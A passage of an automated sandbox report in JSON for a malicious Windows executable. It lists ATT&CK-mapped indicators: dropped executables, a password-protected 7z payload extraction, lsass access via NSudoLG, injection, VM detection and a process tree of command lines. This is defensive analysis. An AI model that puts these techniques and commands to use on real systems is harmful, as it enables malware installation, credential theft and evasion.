\"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"NSudoLG.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006880)\n \"tasklist.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00001376)\n \"7z.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006000)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$5f","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"CreateProcessWithTokenW\" (Indicator: \"CreateProcessWithToken\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"CreateProcessAsUserA\" (Indicator: \"CreateProcessAsUser\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"WTSQueryUserToken\" (Indicator: \"WTSQueryUserToken\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"CreateProcessWithLogonW\" (Indicator: \"CreateProcessWithLogon\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete device driver (API string)","description":"Found reference to API \"IoDeleteDevice\" (Indicator: \"IoDeleteDevice\"; File: \"00000000-00006300.00000000.98189.00972000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-463","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files","description":"Observed string: \"del\" (Indicator: \"del\") in Source: 00000000-00004724.00000000.90372.9D5A0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-408","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"$60","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$61","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00004692.00000000.89330.40017000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$62","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"$63","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"ZwWriteFile\" (Indicator: \"ZwWriteFile\"; File: \"00000000-00006300.00000000.98189.00972000.00000080.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"cmd.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-18\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"0C1348B86485DC010000000000000000000000000200000000\")\n \"cmd.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-18\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"224CCDBB6485DC010000000000000000000000000200000000\")\n \"cmd.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-18\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"B5E7A1F16485DC010000000000000000000000000200000000\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" opened \"\\Device\\KsecDD\"\n \"tasklist.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$64","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"References device drivers used by rootkit malware","description":"Found string \"\\DosDevices\\C:\" (Indicator: \"\\DosDevices\\c:\"; Source: \"00000000-00006300.00000000.98189.00972000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1014","relevance":1,"id":"string-458","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$65","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")\n Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"InitiateSystemShutdownA\" (Indicator: \"InitiateSystemShutdown\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"SetSystemPowerState\" (Indicator: \"SetSystemPowerState\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"lsass.exe,smss.exe,csrss.exe,winlogon.exe,svchost.exe\" (Source: \"00000000-00001124.00000000.95818.65970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; File: \"00000000-00006300.00000000.98189.00972000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"mika.exe\" has type \"PE32 executable for MS Windows 6.00 (GUI) Intel i386 6 sections\"- Location: [%TEMP%\\saked\\mika.exe]- [targetUID: 00000000-00006000]\n \"7z.exe\" has type \"PE32 executable for MS Windows 4.00 (console) Intel i386 6 sections\"- Location: [%TEMP%\\saked\\7z.exe]- [targetUID: 00000000-00002668]\n \"NSudoLG.exe\" has type \"PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections\"- Location: [%TEMP%\\saked\\NSudoLG.exe]- [targetUID: 00000000-00002668]\n \"nircmd.exe\" has type \"PE32+ executable for MS Windows 5.02 (GUI) x86-64 5 sections\"- Location: [%TEMP%\\saked\\nircmd.exe]- [targetUID: 00000000-00002668]\n \"cecho.exe\" has type \"PE32 executable for MS Windows 5.01 (console) Intel i386 UPX compressed 3 sections\"- Location: [%TEMP%\\saked\\cecho.exe]- [targetUID: 00000000-00002668]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$66","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"reg.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"7z.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"mika.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle","description":"GetModuleHandleW@KERNELBASE.DLL at 00000000-00004960-14840-196-00EAC8C0\n GetModuleHandleW@KERNEL32.DLL at 00000000-00006000-21029-128-01242BC0\n GetModuleHandleW@KERNEL32.DLL at 00000000-00006000-21029-445-012296B0\n GetModuleHandleW@KERNEL32.DLL at 00000000-00006000-21029-1290-011A979E\n GetModuleHandleA@KERNEL32.DLL at 00000000-00006000-21029-1314-011AA196\n GetModuleHandleA@KERNEL32.DLL at 00000000-00006000-21029-1320-011AA31B\n GetModuleHandleW@KERNEL32.DLL at 00000000-00006000-21029-1337-011AAA6F\n GetModuleHandleW@KERNEL32.DLL at 00000000-00006000-21029-2312-011DC61F\n GetModuleHandleA@KERNEL32.DLL at 00000000-00006000-21029-3212-011A6E08","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"\"SELECT * FROM Win32_OperatingSystem\" (Indicator: \" win32_operatingsystem\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n \"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\" (Indicator: \" win32_process\"; Source: \"00000000-00001376.00000000.90753.51B90000.00000004.mdmp, 00000000-00001376.00000000.90753.51F10000.00000004.mdmp, 00000000-00001376.00000001.90767.17AC2000.00000002.mdmp, 00000000-00001376.00000001.90767.51F10000.00000004.mdmp\")\n \"SELECT Name FROM Win32_Service WHERE ProcessId = %d and State=\"Running\"\" (Indicator: \" win32_service\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"11/26 Antivirus vendors marked sample as malicious (42% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$67","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"mika.exe\" has type \"PE32 executable for MS Windows 6.00 (GUI) Intel i386 6 sections\"- Location: [%TEMP%\\saked\\mika.exe]- [targetUID: 00000000-00006000]\n \"7z.exe\" has type \"PE32 executable for MS Windows 4.00 (console) Intel i386 6 sections\"- Location: [%TEMP%\\saked\\7z.exe]- [targetUID: 00000000-00002668]\n \"NSudoLG.exe\" has type \"PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections\"- Location: [%TEMP%\\saked\\NSudoLG.exe]- [targetUID: 00000000-00002668]\n \"nircmd.exe\" has type \"PE32+ executable for MS Windows 5.02 (GUI) x86-64 5 sections\"- Location: [%TEMP%\\saked\\nircmd.exe]- [targetUID: 00000000-00002668]\n \"cecho.exe\" has type \"PE32 executable for MS Windows 5.01 (console) Intel i386 UPX compressed 3 sections\"- Location: [%TEMP%\\saked\\cecho.exe]- [targetUID: 00000000-00002668]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" wrote 26112 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\saked\\cecho.exe\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...\n \"7z.exe\" wrote 32768 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\saked\\mika.exe\": 4d5aff000300000004000000ffff0000ff000000000000004000000000000000000000007aff00000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"suspicious","category":"Network Related","name":"Spawned processes likely due to injection","description":"Process \"%WINDIR%\\system32\\tasklist.exe\" spawned likely due to injection","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":3,"id":"target-413","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – cryptographic algorithms","description":"YARA signature matched on RAR SFX file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":3,"id":"yara-155","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__tmp_rar_sfx_access_check_907704968\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__tmp_rar_sfx_access_check_907704968\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\7e5cy7w4O.bat\"\" - (UID: 00000000-00002668)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Use of archive tools for protected file compression/decompression detected (often used to hide payload)","description":"Process \"7z.exe\" with commandline \"7z x -aoa -bso0 -bsp1 \"same.zip\" -p\"stucha\" \"mika.exe\"\" (UID: 00000000-00006000)","origin":"Monitored Target","mitre_attack_id":"T1027","relevance":7,"id":"target-65","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"malicious","category":"Environment Awareness","name":"Tries to gather information about running processes on a system","description":"Process \"tasklist.exe\" with commandline \"\" (UID: 00000000-00001376)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-136","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"11/26 Antivirus vendors marked sample as malicious (42% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"malicious","category":"General","name":"Contains ability to start/interact with device drivers","description":"DeviceIoControl@KERNEL32.DLL at 00000000-00006000-21029-1828-011A871C\n DeviceIoControl@KERNEL32.DLL at 00000000-00006000-21029-1890-011A8924","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1547.006","relevance":8,"id":"stream-21","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"cmd.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\SysWOW64\\chcp.com\" (Handle: 440)\n \"cmd.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\SysWOW64\\reg.exe\" (Handle: 468)\n \"cmd.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\SysWOW64\\reg.exe\" (Handle: 424)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Opens a handle of credential dumping utility","description":"\"NSudoLG.exe\" opens a process \"C:\\Windows\\System32\\lsass.exe\" (UID: 00000000-00006880)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-300","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"malicious","category":"System Security","name":"References security related windows services","description":"\"reg query \"HKLM\\System\\CurrentControlSet\\Services\\wscsvc\"\" (Indicator: \"wscsvc\") in Source: 00000000-00006604-00000C47-123241099732","origin":"File/Memory","mitre_attack_id":"T1574.010","relevance":7,"id":"string-43","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtSetInformationKey@NTDLL.DLL at 00000000-00004960-14840-162-00EA878A","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$68","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Tries to gather information about running processes on a system"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"Evasive","details_count":9,"details":[{"detail":"Marks file for deletion"},{"detail":"References security related windows services"},{"detail":"May check for the presence of a forensics/monitoring tool"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Use of archive tools for protected file compression/decompression detected (often used to hide payload)"},{"detail":"Able to check if a debugger is running"},{"detail":"Contains ability to adjust token privileges"},{"detail":"Contains ability to terminate a process"},{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]}]},"activity":{"stats":{"process_count":44,"spawned_processes_count":44,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":21,"imported_dlls_count":89,"dropped_files_count":0,"extracted_files_count":7,"files_written_count":18,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["nircmd","evasive"],"sample_flags":["Multi-Process","Extracted Files"],"sandbox_reports":[{"id":"69673bc12fb4422c7500f566","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"submit_name":"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe","analysis_start_time":"2026-01-14T06:46:27+00:00","indicators_count":{"informative":244,"suspicious":52,"malicious":11},"tags":["Multi-Process","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}],"processes":[{"pid":2668,"ppid":0,"name":"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe","command_line":"","sha256":"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985","normalized_path":"C:\\9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe","uid":"00000000-00002668","icon":"$69"},{"pid":1656,"ppid":2668,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\7e5cy7w4O.bat\" \"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00002668","uid":"00000000-00001656"},{"pid":7940,"ppid":1656,"name":"nircmd.exe","command_line":"nircmd win min process \"cmd.exe\"","sha256":"2e81e048ab419fdc6e5f4336a951bd282ed6b740048dc38d7673678ee3490cda","normalized_path":"%TEMP%\\saked\\nircmd.exe","parent_uid":"00000000-00001656","uid":"00000000-00007940"},{"pid":4984,"ppid":1656,"name":"chcp.com","command_line":"chcp 65001","sha256":"9465ac026770dd4bf54193f02dec5fbf874af69aa690301c4c7ffa686c0f896a","normalized_path":"%WINDIR%\\SysWOW64\\chcp.com","parent_uid":"00000000-00001656","uid":"00000000-00004984"},{"pid":4960,"ppid":1656,"name":"reg.exe","command_line":"reg query \"HKU\\S-1-5-19\"","sha256":"405a70c2b6081e6fed2a4bab7b0c233fff022acbbb3d2cc92cb8876d052db9e4","normalized_path":"%WINDIR%\\SysWOW64\\reg.exe","parent_uid":"00000000-00001656","uid":"00000000-00004960"},{"pid":8136,"ppid":1656,"name":"reg.exe","command_line":"reg add \"HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize\" /v 